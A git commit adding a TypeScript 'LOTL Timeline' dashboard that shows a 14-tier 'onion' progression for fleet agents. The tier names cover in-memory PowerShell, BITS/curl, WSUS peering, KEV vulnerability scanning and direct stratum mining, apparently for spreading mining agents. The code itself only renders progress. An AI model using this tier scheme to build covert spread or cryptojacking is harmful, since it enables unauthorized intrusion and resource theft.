Add LOTL Timeline page for live tier progression visualization.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators get a dedicated Onion view with 14-tier stepper, fleet progress chips, and AI decision overlay when fleet AI control is enabled.
This commit is contained in:
AetherForge
2026-06-07 02:13:15 -07:00
parent f27cec887a
commit 34afa28f81
14 changed files with 939 additions and 2 deletions

View File

@@ -0,0 +1,133 @@
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
import type { Agent } from '../types';
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
/** Per-tier state for the live onion timeline UI. */
export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped';
export interface LotlTimelineTierRow {
index: number;
tier: string;
label: string;
hint: string;
state: LotlTimelineTierState;
attempt?: TierAttempt;
}
export interface LotlTimelineModel {
tiers: LotlTimelineTierRow[];
total: number;
succeeded: number;
activeTier?: string;
tryingTier?: string;
}
/** Map attempt tier ids to spread onion tier ids (case-insensitive). */
const TIER_ALIASES: Record<string, string> = {
container: 'docker',
docker_load: 'docker',
vuln_probe: 'vuln_recon',
kev_scan: 'vuln_recon',
service_probe: 'vuln_recon',
ps_memory: 'powershell',
ps_inmemory: 'powershell',
bits: 'bits_curl',
curl: 'bits_curl',
wsus: 'wsus_cache_peer',
wsus_cache: 'wsus_cache_peer',
webrtc: 'webrtc_mesh',
mesh: 'webrtc_mesh',
exe_subprocess: 'powershell',
cpu_inprocess: 'dotnet',
gpu_subprocess: 'dotnet',
stratum_direct: 'dotnet',
};
function normalizeTierKey(tier: string): string {
return tier.trim().toLowerCase().replace(/[\s-]+/g, '_');
}
function canonicalSpreadTier(tier: string): string {
const key = normalizeTierKey(tier);
return TIER_ALIASES[key] ?? key;
}
function tierDocHint(tier: string): string {
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.hint ?? '';
}
function tierLabel(tier: string): string {
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
}
function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAttempt | undefined {
const target = canonicalSpreadTier(spreadTier);
for (let i = attempts.length - 1; i >= 0; i--) {
if (canonicalSpreadTier(attempts[i].tier) === target) return attempts[i];
}
return undefined;
}
export function resolveLotlTierOrder(policyTiers?: string[]): string[] {
if (policyTiers?.length) return [...policyTiers];
return [...DEFAULT_LOTL_ONION_TIERS];
}
export function buildLotlTimelineModel(
agent: Agent,
order: string[],
attempts: TierAttempt[],
skipped: string[] = [],
): LotlTimelineModel {
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
const activeTier = agent.lotl_tier?.trim() || undefined;
const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined;
const online = agent.status === 'online';
let tryingTier: string | undefined;
if (online && activeCanon) {
const last = lastAttemptForTier(attempts, activeCanon);
if (!last?.ok) tryingTier = activeCanon;
}
const tiers: LotlTimelineTierRow[] = order.map((tier, i) => {
const key = canonicalSpreadTier(tier);
const attempt = lastAttemptForTier(attempts, tier);
let state: LotlTimelineTierState = 'pending';
if (skippedSet.has(key)) {
state = 'skipped';
} else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) {
state = 'trying';
} else if (attempt?.ok) {
state = 'success';
} else if (attempt && !attempt.ok) {
state = 'failed';
}
return {
index: i + 1,
tier,
label: tierLabel(tier),
hint: tierDocHint(tier),
state,
attempt,
};
});
const succeeded = tiers.filter((t) => t.state === 'success').length;
return {
tiers,
total: order.length,
succeeded,
activeTier,
tryingTier,
};
}
export function lotlTimelineProgressLabel(model: LotlTimelineModel): string {
return `${model.succeeded}/${model.total}`;
}

View File

@@ -83,6 +83,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
gridDrift: 38,
palette: 'default',
},
'/lotl-timeline': {
vibe: 'crucible-embers',
intensity: 0.82,
speed: 0.38,
pulse: 0.72,
density: 0.88,
linkStrength: 0.5,
layerOpacity: 0.52,
orbDrift: 18,
gridDrift: 64,
palette: 'crucible',
},
'/onion': {
vibe: 'crucible-embers',
intensity: 0.82,
speed: 0.38,
pulse: 0.72,
density: 0.88,
linkStrength: 0.5,
layerOpacity: 0.52,
orbDrift: 18,
gridDrift: 64,
palette: 'crucible',
},
'/crucible': {
vibe: 'crucible-embers',
intensity: 0.75,